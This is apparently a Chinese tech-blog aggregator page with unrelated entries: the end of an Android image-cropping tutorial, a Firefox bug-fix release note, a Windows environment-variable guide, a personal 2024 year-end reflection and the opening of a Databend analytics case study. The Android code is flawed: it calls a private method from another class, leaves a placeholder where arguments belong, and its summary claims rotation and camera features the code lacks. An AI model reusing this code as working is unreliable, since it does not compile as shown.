            // 使用变换矩阵绘制图像
            canvas.drawBitmap(mBitmap, mMatrix, null);
            // 恢复Canvas到之前的状态
            canvas.restore();

            // 绘制裁剪框,让用户知道哪里会被裁剪
            drawCropBox(canvas);
        }
    }

    private void drawOverlay(Canvas canvas) {
        Paint paint = new Paint();
        // 设置半透明黑色作为蒙层颜色
        paint.setColor(Color.argb(128, 0, 0, 0));
        // 填充整个视图为半透明黑色
        canvas.drawRect(0, 0, getWidth(), getHeight(), paint);

        // 创建一个路径,添加裁剪框形状
        Path path = new Path();
        path.addRect(mRect, Path.Direction.CW);
        // 使用canvas.clipPath剪切出裁剪框区域,使其透明
        // 注意:Region.Op.DIFFERENCE在API 26以上已被弃用,应考虑使用其他方式实现相同效果
        canvas.clipPath(path, Region.Op.DIFFERENCE);
        canvas.drawColor(Color.TRANSPARENT, PorterDuff.Mode.CLEAR);
    }

    private void drawCropBox(Canvas canvas) {
        Paint paint = new Paint(Paint.ANTI_ALIAS_FLAG); // 抗锯齿
        paint.setStyle(Paint.Style.STROKE); // 只绘制边框,不填充内部
        paint.setStrokeWidth(5); // 边框宽度
        paint.setColor(Color.BLUE); // 裁剪框颜色设置为蓝色
        // 绘制裁剪框矩形
        canvas.drawRect(mRect, paint);
    }

    @Override
    public boolean onTouchEvent(MotionEvent event) {
        // 分别将事件传递给缩放和手势检测器
        mScaleDetector.onTouchEvent(event);
        mGestureDetector.onTouchEvent(event);

        switch (event.getAction()) {
            case MotionEvent.ACTION_DOWN:
                // 记录按下时的坐标,开始拖动
                mLastTouchPos[0] = event.getX();
                mLastTouchPos[1] = event.getY();
                mIsDragging = true;
                break;
            case MotionEvent.ACTION_MOVE:
                if (mIsDragging) {
                    // 更新当前位置,并根据位移调整矩阵和平移裁剪框
                    mCurrentPos[0] = event.getX();
                    mCurrentPos[1] = event.getY();
                    updateMatrix();
                    invalidate(); // 请求重新绘制界面
                }
                break;
            case MotionEvent.ACTION_UP:
                // 结束拖动
                mIsDragging = false;
                break;
        }
        return true;
    }

    private void updateMatrix() {
        // 更新矩阵以反映图像的新位置
        mMatrix.setTranslate(mCurrentPos[0] - mLastTouchPos[0], mCurrentPos[1] - mLastTouchPos[1]);
        // 同步裁剪框的位置
        mRect.offset(mCurrentPos[0] - mLastTouchPos[0], mCurrentPos[1] - mLastTouchPos[1]);
    }

    private class ScaleListener extends ScaleGestureDetector.SimpleOnScaleGestureListener {
        @Override
        public boolean onScale(ScaleGestureDetector detector) {
            // 获取缩放因子并应用到矩阵上,保持缩放中心点不变
            float scaleFactor = detector.getScaleFactor();
            mMatrix.postScale(scaleFactor, scaleFactor, detector.getFocusX(), detector.getFocusY());
            invalidate(); // 请求重绘以反映变化
            return true;
        }
    }

    private class GestureListener extends GestureDetector.SimpleOnGestureListener {
        @Override
        public boolean onDoubleTap(MotionEvent e) {
            // 双击时重置所有变换
            resetTransformations();
            return true;
        }
    }

    private void resetTransformations() {
        // 重置矩阵和旋转角度,以及裁剪框位置
        mMatrix.reset();
        mRotation = 0f;
        mRect.set(/* default values */);
        invalidate(); // 请求重绘
    }

    // 设置要裁剪的图片
    public void setImageBitmap(Bitmap bitmap) {
        mBitmap = bitmap;
        // 根据新图片尺寸调整裁剪框大小
        updateCropBoxSize();
        requestLayout(); // 请求布局更新
        invalidate(); // 请求重绘
    }

    private void updateCropBoxSize() {
        // 根据所选图片的尺寸设置合适的裁剪框大小
        int width = mBitmap.getWidth();
        int height = mBitmap.getHeight();
        float aspectRatio = (float) width / height;

        // 设定裁剪框的初始尺寸为图片的中心区域,同时确保其宽高比与原始图片一致
        float rectWidth = Math.min(getWidth(), getHeight() * aspectRatio);
        float rectHeight = Math.min(getHeight(), getWidth() / aspectRatio);
        mRect.set((getWidth() - rectWidth) / 2, (getHeight() - rectHeight) / 2, (getWidth() + rectWidth) / 2, (getHeight() + rectHeight) / 2);
    }

    // 获取裁剪后的图片
    public Bitmap getCroppedBitmap() {
        // 创建一个新的位图来容纳裁剪结果
        Bitmap croppedBitmap = Bitmap.createBitmap(
            (int)mRect.width(),
            (int)mRect.height(),
            Bitmap.Config.ARGB_8888
        );
        Canvas canvas = new Canvas(croppedBitmap);
        // 平移画布以对齐裁剪框左上角
        canvas.translate(-mRect.left, -mRect.top);
        // 绘制变换后的原始图片到新的位图中
        canvas.drawBitmap(mBitmap, mMatrix, null);
        return croppedBitmap;
    }
}

自定义的CustomCropImageView,它允许用户通过触摸屏交互来裁剪图片。该视图支持基本的手势操作,包括拖动、缩放和双击重置。此外,还提供了设置图片和获取裁剪后图片的方法。

步骤 4: 更新Activity逻辑

现在我们将更新MainActivity.java,以加载图片到自定义视图,并处理裁剪后的保存逻辑。

MainActivity.java
import android.Manifest;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.net.Uri;
import android.os.Bundle;
import android.provider.MediaStore;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;

public class MainActivity extends AppCompatActivity {

    private static final int PICK_IMAGE_REQUEST = 1;
    private static final int REQUEST_PERMISSIONS = 2;
    private CustomCropImageView customCropImageView;
    private Uri imageUri;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        customCropImageView = findViewById(R.id.customCropImageView);

        // 检查并请求存储权限
        if (ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE)
                != PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(this,
                    new String[]{Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.WRITE_EXTERNAL_STORAGE},
                    REQUEST_PERMISSIONS);
        }

        findViewById(R.id.buttonPickImage).setOnClickListener(v -> pickImage());
        findViewById(R.id.buttonCrop).setOnClickListener(v -> cropImage());
        findViewById(R.id.buttonCancel).setOnClickListener(v -> cancelCrop());
        findViewById(R.id.buttonSave).setOnClickListener(v -> saveImage());
    }

    private void pickImage() {
        Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
        intent.setType("image/*");
        startActivityForResult(intent, PICK_IMAGE_REQUEST);
    }

    private void cropImage() {
        // 如果使用第三方库如uCrop,可以在这里启动裁剪活动
        // 这里我们假设CustomCropImageView已经包含了所有裁剪功能
        // 因此不需要启动新的活动。
    }

    private void cancelCrop() {
        // 重置CustomCropImageView的状态
        customCropImageView.resetTransformations();
    }

    private void saveImage() {
        Bitmap bitmap = customCropImageView.getCroppedBitmap(); // 获取裁剪后的位图
        try {
            File path = new File(getExternalFilesDir(null), "custom_folder");
            if (!path.exists()) {
                path.mkdirs();
            }
            File file = new File(path, "cropped_image.jpg");
            FileOutputStream out = new FileOutputStream(file);
            bitmap.compress(Bitmap.CompressFormat.JPEG, 90, out);
            out.flush();
            out.close();
            // 提示用户图片已保存
        } catch (IOException e) {
            e.printStackTrace();
            // 处理保存失败的情况
        }
    }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        if (requestCode == PICK_IMAGE_REQUEST && resultCode == RESULT_OK && data != null && data.getData() != null) {
            imageUri = data.getData();
            try {
                // 将选择的图片加载到CustomCropImageView中
                Bitmap bitmap = MediaStore.Images.Media.getBitmap(getContentResolver(), imageUri);
                customCropImageView.setImageBitmap(bitmap);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        if (requestCode == REQUEST_PERMISSIONS) {
            if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
                // 权限授予成功,可以继续进行图片选择等操作
            } else {
                // 用户拒绝了权限,需要提示用户或者禁用相关功能
            }
        }
    }
}

总结

通过上述步骤,我们完成了一个具有裁剪功能的Android demo。该应用允许用户从相册或相机选择图片,在界面上进行裁剪、旋转和缩放,并最终将处理过的图片保存到指定位置。

by 望佑 at January 23, 2025 08:59 AM

oschina news project

Firefox 134.0.2 发布

Firefox 134.0.2 现已发布,主要进行了一些 bug 修复。具体更新内容如下:

  • 修复了某些本地化版本中崩溃报告器不显示的问题(Bug 1940763)。
  • 修复了 Firefox 134 中的回归问题,其中指向本地文件的 HTML 框架集中的锚定链接不起作用(Bug 1934807)。
  • 修复了开发人员工具中在调试扩展时阻止重新发送网络请求的问题(Bug 1934478)。
  • 修复服务人员的数据消耗可能意外停止的问题 ( Bug 1941210 )。

更新说明:https://www.mozilla.org/en-US/firefox/134.0.2/releasenotes/

by 来源: OSCHINA at January 23, 2025 08:59 AM

juejin career

Windows 环境变量:通过 CMD 和 PowerShell 写入环境变量

在Windows操作系统中,可以通过命令提示符(CMD)和PowerShell来设置环境变量。下面是具体的步骤和示例代码。

通过CMD写入环境变量

设置用户级别的环境变量

使用setx命令可以为当前用户设置环境变量。这个变量只对当前用户有效。

setx MY_VARIABLE "my value"

若要设置系统级别的环境变量(即对所有用户都有效),需要加上/M参数:

setx MY_VARIABLE "my value" /M

注意:使用setx设置的环境变量不会影响已经打开的CMD窗口,你需要新开一个CMD窗口才能看到效果。

临时设置环境变量(仅对当前CMD会话有效)

如果你想在一个CMD会话中临时设置一个环境变量,可以使用set命令:

set MY_VARIABLE="my value"

这样设置的变量只在当前CMD会话中可用,关闭CMD后该变量就失效了。

通过PowerShell写入环境变量

设置用户级别的环境变量

在PowerShell中,可以使用[Environment]::SetEnvironmentVariable方法来设置环境变量。对于用户级别的环境变量:

[System.Environment]::SetEnvironmentVariable("MY_VARIABLE", "my value", "User")

设置系统级别的环境变量

同样地,对于系统级别的环境变量:

[System.Environment]::SetEnvironmentVariable("MY_VARIABLE", "my value", "Machine")

这里的第三个参数决定了环境变量的作用范围:"User"表示用户级别,"Machine"表示系统级别。

临时设置环境变量(仅对当前PowerShell会话有效)

要在当前PowerShell会话中临时设置环境变量,可以直接给$env:驱动器中的变量赋值:

$env:MY_VARIABLE = "my value"

这种方式设置的环境变量仅在当前PowerShell会话中有效。

注意事项

  • 使用/M参数或指定"Machine"作为作用域时,你可能需要以管理员身份运行CMD或PowerShell。
  • 修改系统级别的环境变量可能会要求重启应用程序或者系统服务才能生效。
  • 设置环境变量后,建议检查是否正确设置了变量,可以使用echo %MY_VARIABLE%(CMD)或echo $env:MY_VARIABLE(PowerShell)来验证。

以上就是在Windows中通过CMD和PowerShell设置环境变量的方法。根据你的需求选择合适的命令和作用域即可。

by 江无行者 at January 23, 2025 08:53 AM

【2024年终总结】Hey,你好,2025年已经来到~

过往的年终总结

2021年,我们:待别日相见时,我们都已有所成。挥手向2021告别吧,追求梦想的路上,永远不孤独!

2022年,我开始进到那个使我永远无从毕业的学校,来学那课永远学不尽的人生了

2023年终,找寻和回顾我在世界存活过的痕迹

Hey,你好,这是二四年冬

Hey,你好,这是二四年冬。

我专门挑了一个情绪不稳定的深夜,听着歌凌晨来完成这篇24年的年终总结,想借着情绪的反扑来让自己更能回忆起某些时刻的瞬时思考。

只挑选了一些在2024年中有深刻记忆点的事情~

2024年的数据量化

去年就在说,希望来年能够通过数据来量化自己的一年。想象非常美好,时至今日,真正做到的根本没几点。

Flag立了不少,完成的少之又少(捂脸)

image.png

24年的进展:

24年,跑鞋买了,跑了一次。 X🤡

24年,相机看了又看,没买,懒,出门次数少,怕它跟我一起发霉。 X🥺

24年,从140斤减肥减到150斤,好一个减肥。 X😳

24年,计划早睡早起,实际一到放假,别人起床我才睡觉X😳

24年,计划存款xxx(收入一半),实际一半的一半(不堪入目) X😂

24年,计划携带父母出去玩,完全没动静。 X🤣

24年,计划持续输入和输出,效率非常低,重新对手机入迷,知识摄入非常少,需重点反思。 X

24年,工作知识库的搭建,略有成效。虽然不再整理发布为博客,但实际记录内容并不少。搭建工作知识库成就达成

24年,侥幸买到了南京场邓紫棋演唱会的票,特种兵的方式在南京玩了一圈。个人旅游成就达成

24年,心血来潮,特种兵一样去了趟舟山。与友旅游成就达成

24年,菜单更新成就达成。今年有学会不少新菜,过年能进年夜饭的厨房啦(手动狗头)。🥳

24年,搜狗输入法打字40w字左右。【名副其实码农】

24年,阅读书籍两本《命运》和《黑客和画家》,和预想的目标相差甚远。

24年,观看电影18部,电视剧一部《繁花》,记录片一部《绿色星球》。算是比较少了。

24年,手机拍照有效照片的数量大概在4500张左右。我非常喜欢影视飓风说的一句话: “影像的意义,在于把尽心的瞬间变成永恒。”,记录生活也是如此。

24年,总共发布朋友圈13条,平均每月一条。希望来年继续保持,哈哈哈。

最有趣的朋友圈,可能就是下面这条啦:

image.pngimage.png

一句话总结2024年的话,就是:”执行力不够,想的太多,做的太少,太苦恼,还有点摆烂“。

干饭人永不褪色

干饭人写的第一点永远是干饭(手动狗头)

2024年,比起以往,我好像更喜欢做饭啦,这就好像是我的一块心灵静地,在厨房的时候,自在、放松和专注。我真的非常喜欢这个场景下的自己,很自由,很舒适,同时也非常放松。

我喜欢将辣椒慢慢切成圈或丝的过程,十分有成就感。

【下方是同室友一同做的菜,在外面工作能吃自己做的饭,真的超香,哈哈哈】

但也因为馋这个嘴,体重一天比一天重了,哈哈哈哈哈

干饭人
image.pngimage.pngimage.png

一人做一人式的饭菜。一杯一碗一筷,一桌一椅,喧嚣过后的另一种生活。 image.png

在搞饭这件事情,我觉得非常开心,因为我觉得

1、因为吃饭大家聚在了一起;

2、他们能来,我十分开心;

3、我做的饭菜,他们吃的开心;

4、他们可以不用做饭,他们也开心。

也是在这个过程中,我开始明白在一个地方,如果在某个时刻能够叫上三两好友,一起在家吃个饭,喝点酒,我觉得真的是非常非常幸福的一件事情


十分纯粹的快乐,一起聊聊天,说说笑。

每到这个时刻,我都希望时间能过的慢一点,因为在这个时刻,大家都是快乐的。

当然,除了在家吃饭,还有超级多次在外面一起约饭,照片没有一一放出来了,只能说,我们下次再见面,一起干饭,干饭人永不褪色,hhh。

直面镜头

2024年的改变,手机中多了更多自己的镜头,上一次这么直视镜头还在18年了。

恍惚间,已然过去六年时间啦。 我开始喜欢慢慢重塑自信的过程了,内心反复的煎熬,并没有让我跌入深渊,而是让我能更深层次的思考。将一切看开,去尝试自己想做的。

下面放了几张个人认为还看的过去的照片(手动狗头),哈哈哈

某个帅哥的自拍丑照
image.pngimage.pngimage.pngimage.pngimage.pngimage.png

哈哈哈哈,看上面的照片,也许真的没有感受到太胖的痕迹,但是上面的自拍照,都是体重已经超过140,甚至有些已经是150时拍的了。

来张刚入职的照片(这时候应该是130多),对比下:

image.png

(干了这一行之后,基本一年胖10斤,受不了啊啊啊啊啊,今年一定要减肥!!!)

不过真的很想跟自己说,hey,这是二四的冬,我觉得你二四年能够直面镜头这件事情做的真的很棒!进步真的很大!看到这段文字的你也是的!!今年你很棒啦!

我们要勇敢不回避自己、看见自己,鼓起勇气对自我和生命发出提问~

让每一年的我们都有成长和收获。

对啦,补充一个,谈到自信,还有今年看到TGA颁奖时(黑悟空没得奖,真的不得劲啊),冯总发的微博,说的几句话

image.png

(图片来自于微博)

是的,你不能只在已经赢的时候才自信。

那不是自信,是对结果的复读。

今天输了,明天还可能会输,可那又如何?

影响结果的因子太复杂,所以结果必然是不确定的。我们唯一能确定的是选择自己在做什么——

做具体的事,做困难的事,做相信的事。

在做这些,当然应该自信。


我们每个人都要认可自己所做的事情,如果自己都不相信自己,自己都不认可自己,那还怎么让其他人去相信去认可你呢?输了就输了,下次再战就好,没有人会一直站在顶端,也没有人会一直赢。

希望大家都能继续怀着自信与雄心,保持勇敢、诚实与善良,踏实做好每一件具体的小事,坦然接受不确定的结果,一直走在取经的路上,直到生命的最后一刻。

就像海明威说的那样:这个世界很美好,值得为之战斗。

截取自微博正文:m.weibo.cn/detail/5111…

在翻照片的过程中,一张又一张的自拍照真的慢慢记录了我从不太胖到有点胖再到非常胖的全部,写着写着,从2024年一直看到了2020年,还翻出了许多朋友的糗照,笑死个人,发出来给他们看,自己都快不相信那是自己了。

有些趣事,现在再翻看还能代入到当时的场景中。一定一定要多拍照多记录生活~~

更多的生活气息

今年年初换了套租房,重新把房间整理了下,拥有了更多的生活气息。

下面是几张记录的图片。

过去的房间照片
image.pngimage.pngimage.png6d3edd59a7849aadb059d3c333a9b25.jpgimage.pngimage.png

但这只持续到了今年的九月,因为工作调动,我离开了这里,再一次回到了曾经的“浪浪山“。

现在的场景和上面的图完全没法比啦。哈哈哈哈

喜欢一切美好的事物,不论是曾经,还是现在。认真经营自己的生活,生活也会带给你舒心。

每到一个地方,我都会记录身边的生活。因此做了一张工作以来租房里的桌面的变化。

科科称我这个为“坤坤练习两年半,还会唱跳、rap、篮球, 你浪了几年,直接浪的一干二净啦是吧

image.png

别问,问就是返璞归真【手动狗头】,哈哈哈哈

下次看海是在什么时候呢

每个人都会想来一场说走就走的旅行,而2024年的舟山,就是我们四个人的想走就走

周五晚上吃个饭,凑一堆,不知道周末干嘛。

脑子一热,说开车去附近玩玩,一拍板就开车去了舟山。

【车的主人外出出差,车替它主人去过舟山了,等于他也去过啦🚗】

特种兵旅行是什么样勒。

1、出发前一天晚上:12点在群里发个消息问睡了没,都说没,1点再问睡了没,还是没,兴奋完睡着已经是将近2点。

2、早上6点醒来,群里一个一个@

3、买好早餐,带好装备,直接开冲

4、不停歇的开了4个小时,直达舟山(副驾驶必须要够嗨,不然不得劲,一路放歌,一路唱到目的地)

image.png

四个帅哥坐船,哈哈哈~

image.png

但是要说玩的话,不多,我们只是瞎逛,闲逛,看看海,爬爬山,哈哈哈

image.png

趣事~

出门吃什么,永远头痛,哈哈哈;我那好兄弟翻了攻略,选定了一家蛮不错的海鲜餐厅,谁知道他尝完,尽是看着我们吃,那种鲜,他吃不习惯一点。哈哈哈

原本在看完舟山的海之后,还想脑子一热去趟青岛的,去看看清澈见底的海,但是一直搁置着。

如果下次再去看海,希望能去看看青岛的海~ (默默吐槽上海的海真不能叫海)

身体和灵魂都应该在路上🛵

六月-南京之旅 “身体和灵魂都应该在路上。🛴” 今年侥幸买到了邓紫棋的南京演唱会的山顶⛰️票,当时就想着来体验体验,说出来可能让人笑话,这还是人生第一次看演唱会。

虽然是山顶的票,但给人的感觉远超预期,演唱时间超过2个小时,熟悉的歌曲基本都唱了,而且后面真的超嗨,走出演唱会的时候我只能说喉咙已经要嘶哑了。 (个人感觉除了vip内场座位,其他都差不多【追星人另算】)

自己跟唱的视频,自己听完不敢发了,哈哈哈(简称fafeng,贼大声,👀哈哈哈)~ 补充:如果真的喜欢听谁的歌曲,我觉得去演唱会和自己一个人听歌,完全是两个感受。一个人听时,是安静的享受,3w个人一起听,那就是嗨,把自己放松下来,放开了喊,是真的爽

image.png

image.png

还有退场时的惊人场景.

image.png

最后还有和朋友的合照,我原称之为三位帅哥~

image.png

(狗头保命,看起来实在太憨了,哈哈哈哈)

另外也在六朝古都南京,小小游览了一圈,十分观其一吧。 音乐台,🕊️起飞的时候,是真的美。(实际情况是,人看鸽子,鸽子看人,人比鸽子还多)

看似是人看鸽子

image.png

实则是鸽子看人

image.png

梧桐大道,只能说让人无比沉迷。

image.png

如果是秋天来到这里,那真的绝美!!!

还有古鸡鸣寺的猫猫“善来”

image.png

最后的惊喜是南京南站给的,古典建筑同貔貅配晚霞,为结束画上了完美的句号。

image.png

6.23日游记

一些特别时刻的合照

24年见到了学校里面的一位旧友,算起来也有3年没有见过面啦。下次再见面,又是下一年啦呀。

image.png

另外还有一张大合照,一位非常非常要好的朋友在时隔几年后,赠送于我,非常开心,也觉得很感动,能一直记得。当然也还有和ta的合照。

image.png

与旧友的合照~ fd96e6de25370945524a823c9bd95e5.jpg

还有一部分合照,哈哈哈照的我好丑,不敢放出来啦

在能够记录的时候,多记录生活和身边的人,日后也多个回忆的瞬间。

聊一聊人生中的选择

今年碰巧遇到工作组织变动,公司内部体系流转,当时是有两个选择摆在面前,不同的选择,代表了不同的利益体系。

今天聊的不是最终选了什么。而是想写给自己在做选择的时需要注意的点。

1、做选择要果断。尤其是关乎利益的选择,犹犹豫豫,都是为以后埋下隐患。

2、做选择要坚定。职场上或者人生道路上,不管做什么选择,一定要坚定。

3、做选择时,能快就快,时间很重要。更快更坚定的选择了某方利益体,就能有更多的时间去争取利益和权益。

【也许会有朋友自嘲道,公司有我没我都差不多,但实际上,如果在公司内部,能有一个选择摆在你面前时,你就是有价值的。个人在评估自己的价值时,往往只会关注到个人技能上的事项和部分业务上的事项,但实际上对公司来说,你对业务的熟悉程度,你当下所负责的工作,与团队成员的配合默契度,以及你所拥有的外部资源,这些都是价值】

今天回过头再看如何做选择这件事情,犹豫不了一点,犹豫就会错过很多东西。

不过没有什么选择是确定正确的,我们更多的要顺应心的选择,要坚定的选择。

工作职责的变化

上文也说到了公司内部组织调整,我的工作内容并没有大方向上的调整。


实际工作职责有不小的变化,以前我的上面还有大哥来给我挡着,现在直接让我来顶着….

加 Title 不加薪的那种,哈哈哈 同事看到别笑话我就行,吐槽必须吐槽的🙄

团队中原岗位是打杂加开发,调整完的话,成一担挑了,原型图绘制,功能规划,开发工作,甚至后续的部署运维工作都在手上了。(不过这也是小公司常态吧,烦也不算烦吧,主要是不适应,另外一部分是焦虑吧)

失衡的下半年

工作内容明显增多,加班什么的,基本是常态。

我对加班,其实相对没那么抗拒吧,只是很讨厌我手上的工作没做完,让人非常不舒心。但也是因为加班,让生活明显失去平衡。

之前的工作状态

1、8:40 起床,五分钟刷牙洗脸,8.50出门,骑上小电动,顺带买个早餐

2、9:00 到公司,开始搬砖

3、11:30 和同事干饭,休息到1点

4、13:00 开始搬砖

5、18:00-18:30 下班

6、早的话,买菜回家做个饭,比较晚和同事一起在外面吃

7、19:00-19:30 回到家,看看技术博客,看看B站(财经、科技、测评、电影居多),找到感兴趣的点,也会写写博客,或者写个demo。

8、23:00-24:00 洗澡,睡觉,不过一般都是1点才睡着

现在的工作状态

1、8.40 起床,五分钟刷牙洗脸,8.55出门,骑小电动或者坐室友车,公司楼下买个早餐

2、9.15-30 到公司,开始搬砖

3、11.30 和同事干饭,休息到1点

4、13:00 开始搬砖

5、18:30-19:00 下班(公司正常上下班时间),而我就拉着我队友,下楼干饭

6、20:00-20:30 差不多才下班

7、21:00 左右回到家里,基本上就是朋友们叫打王者,就打打王者,不然就刷刷抖音,一般玩上一会,基本就10点多,或者11点了,就说洗澡睡觉了。

加完班之后,只想开摆,空闲时间基本上都是用来打打游戏,听听歌消磨完了。以前还会看看电影,写写博客,24年的下半年明显很少这样。

变化又或是成长吧

工作累是累了些,但对个人成长还是不少的,从习惯一个角度看待问题到开始习惯扩展到多个角度看问题,考虑整体问题等等,在这个方面还是成长了不少。

责任的转变:从可以自私的对自己一个人负责,转变为对整个团队负责。

抗压能力的转变:责任的转变,需要承担的压力也随之扩大,从没有决策权,到有一部分决策权,但并不是每个决定都会正确,那么就需要对每个决定负责。这对于个人而言,就是一种压力和焦虑。

就碎碎念吧~ 大家随便看看就好。

2024年的一些思考

副业的想法

2024年,想的最多的应该就是挣钱这个问题了。大环境不好,带给人的焦虑非常多,不是这里说,就是那里在说。

牛马的一年工作所能获取的最大收益值是可预见的,并且生活过程中还需要花费许多的资金,到最后,可能打工一年,存下来的钱,还不足收入百分之五十,甚至更低。那么扩大收入来源就成为了一个值得思考的问题。

下面事情大部分停留在思考,尚未行动哈。

1、自媒体。卷烂了的行业,抖音,B站,小红书,知乎。

2、外卖:看到有群友在跑,虽然单价不高。但周六周日跑下来,辛苦点挣个一周的生活费是没有太大问题的。

3、跑滴。感觉不错,和外卖差不多,但相对会轻松点,问题是没车。

4、咸鱼或是淘宝小店。解决类似于科学上网、国外充值、国外其他信息渠道等对普通人不常知晓的资源渠道的经营。支持临时性质这些。

5、录制教程视频或写个掘金小册。定个薄利多销的价格,挣个生活费,既锻炼技术,又让自己有压力,让自己一定要去执行。

6、直播。没想好直播什么,就试着玩了一会儿。但好像还没那么社牛。哈哈哈哈

7、推销电话卡(流量卡) 。每单佣金平均在10-50不等吧,只是接触了下,没有深入研究。

如果大家有什么好的想法,也可以一起交流交流~

我能想到的,也是站在我这个角度上考虑的问题,同时也存在信息茧房的问题,我所能接触到的信息,都是我知识面范围之内的信息。

关于幸存者

写到这个小标题,是因为有一天在掘金看到了下面的热评。

image.png

截取自:juejin.cn/post/738289…

对后两段话,非常非常认可。

“时代的失落,就业口的缺失,单凭个人的无限反思,是难以逆转一切的,到时候又将是一种更大的失落了。”

“作为看客,也是要好好反思。内卷的时代,不能再以幸存者偏差或错误的认知来高估自己的能力,总觉得天才必有用,有时候只是时间与行业的幸运。”

近两年,我离过职,求过职,当过面试官,见识过朋友失业的遭遇,也见证过卷王

我经常也会想,如果把我自己再次投入市场,我是不是也要失业。

如果没有当年好兄弟的内推,工作中没有上级领导和好兄弟的支持,说不定我现在可能也在某个城中村里面了。我当时也在想,我是不是也是时代和行业的幸存者。我想我是的

生于忧患,死于安乐。如果有时间,还是更应该思考思考自己的人生该如何往下走。

降低物欲,珍惜机遇,放稳心态,提升自我,共勉。

一个人的命运啊,当然要靠自我奋斗,但也要考虑到历史的行程。

对这句话的感触更为深刻啦。

现代社会中所谓“物质或精神赞誉上的成功”,在未进入社会前,我觉得努力可以弥补大部分。

在进入社会后,我认为是个人努力+机遇+历史进程,(我不是否定努力无用,努力是机遇或贵人的前置条件,你没这些,遇上了也会错过),另外在不知道该做什么时,顺应时代的发展,追随时代的发展,可能相对会更容易遇到机会~

这一点,无论是在上世纪的改革开放中,还是在由淘宝开启的电商时代,以及10后的互联网时代,都在得到证明。

知识储备

今年随公司管理层,参加了不少对外会议以及商务宴席。多数情况下,我都是秉持着“少说多看多听多想”的原则。(实话实说,真的学到不少,也感谢有这样的机会。)

第一次感受到“知识储备“概念具象化啦。

某次公司约一个大学教授聊合作的事项,饭桌上铺垫了很久,对方兴趣都一般般,后面从业务转到了聊3D,聊游戏,对方对这个也非常感兴趣,后面还真的找到了共同点。从黑悟空一直聊到了stream上的一个模拟飞机操作的游戏(这个我不懂,具体游戏忘记了),再到聊到二战的事情,聊各国的战斗机机型等等,聊完再介绍我们公司的业务,有哪些合作方向这些。

事后公司管理层也说,这真的是巧合,没碰上真的不知道聊什么了。

回想起来,才觉得与人聊天,真的对知识储备和聊天节奏有着极高的要求,往往在几句话中,你就得知道对方对什么感兴趣,而且这个兴趣点,你也需要懂,并且要把握好聊天节奏,尽量引导到你懂的方面。

说真的,以前我觉得“遇人说人话,遇鬼说鬼话”,还蛮容易的,在旁做过一线观众后,我觉得聊天真的是一种艺术,并且与人交谈时,真的非常非常需要自信,去感染对方

道阻且长啊,2025年的要学习的还有许多许多啊~ 共勉

2024年的结束

当写到这里的时候,也说明2024年真的已经成为过去式了,2025年也早已经开启!

那就祝看到这里的你,2025年,身体健康,万事如意~

人生需要尝试,需要勇气,就像打王者时,会常说的一句话,勇气是射手的第七件装备,换到我们的生活中,我更愿意称勇气为我们第一件装备,迎难而上,多尝试,多经历,人生就这么短短数十载,希望再过十年,二十年,再回忆起自己时,也能说自己做过某件事情~

希望我,也希望你,2025年,我们都有和2024年不一样的人生

如果你读到这里,如果你也喜欢的话,请说说你的感受吧,我真的非常想要收到来自于你的反馈,无论如何我都会认真的一一回复的,有问题也可以提出来,我也会一一回答~

2024年,我是宁在春,我在上海-长沙

那2025年,平安喜乐,万事胜意,祝你,祝我,祝我们

by 宁在春 at January 23, 2025 08:51 AM

Databend x 沉浸式翻译 | 基于 Databend Cloud 构建高效低成本的业务数据分析体系

「沉浸式翻译」是一个非常流行的双语对照网页翻译扩展工具,用户可以用它来即时翻译外文网页、PDF 文档、ePub 电子书、字幕等。它不仅可以实现原文加译文实时双语对照显示,还支持 Google、OpenAI、DeepL、微软、Gemini、Claude 等数十家翻译平台服务的自定义设置,在网络上好评如潮。

随着用户量持续增长,其运营和产品团队希望在尊重用户隐私的前提下,通过业务数据为业务增长研究提供决策依据。

业务挑战

业务数据埋点指标是数据仓库中不可或缺的重要数据源之一,同时也是企业最宝贵的资产之一。通常情况下,业务数据分析包含两大数据源:业务数据分析日志和上游关系型数据库(如 MySQL)。基于这些数据,企业可以进行用户增长分析、业务数据研究,甚至通过业务数据分析精准排查用户问题。

业务数据分析的特点决定了要构建一套可扩展、灵活且低成本的分析架构并非易事,具体表现在以下几个方面:

  1. 高流量和大容量:业务数据的产生量非常大,对存储和分析能力要求高;

  2. 兼顾多种分析需求:既需支持 BI 报表的静态展示,也需满足灵活的 Adhoc 查询;

  3. 多样化 数据格式:业务数据通常包含结构化数据与半结构化数据(如 JSON);

  4. 实时性要求:需要对业务数据快速响应,实现及时反馈。

由于这些复杂性,「沉浸式翻译」背后的团队早期选择了通用埋点系统(Google Analytics)作为业务数据分析工具。这种系统只需在网站中插入 JSON 代码,或在 APP 中嵌入 SDK,即可自动采集并上传埋点数据,生成访问量、停留时间、转化漏斗等指标。

然而,通用埋点系统虽然简单易用,但在实际使用中也存在着一些不足:

  1. 数据明细的缺失。 通用埋点系统往往不会提供用户具体的访问明细日志,只能在 UI 中查询预设的报表;

  2. 自定义查询能力不足。 通用埋点系统的查询模式并非标准 SQL 查询接口,当数据科学家希望构建复杂的 adhoc 查询时,由于缺少 SQL 能力,难以支持复杂的自定义查询;

  3. 成本快速上升。 通用埋点系统一般采用阶梯计费模式,往往到了一个阶梯时,费用会翻倍。随着企业流量的持续增长,如果要查询更大范围的业务数据时,成本会迅速增加。

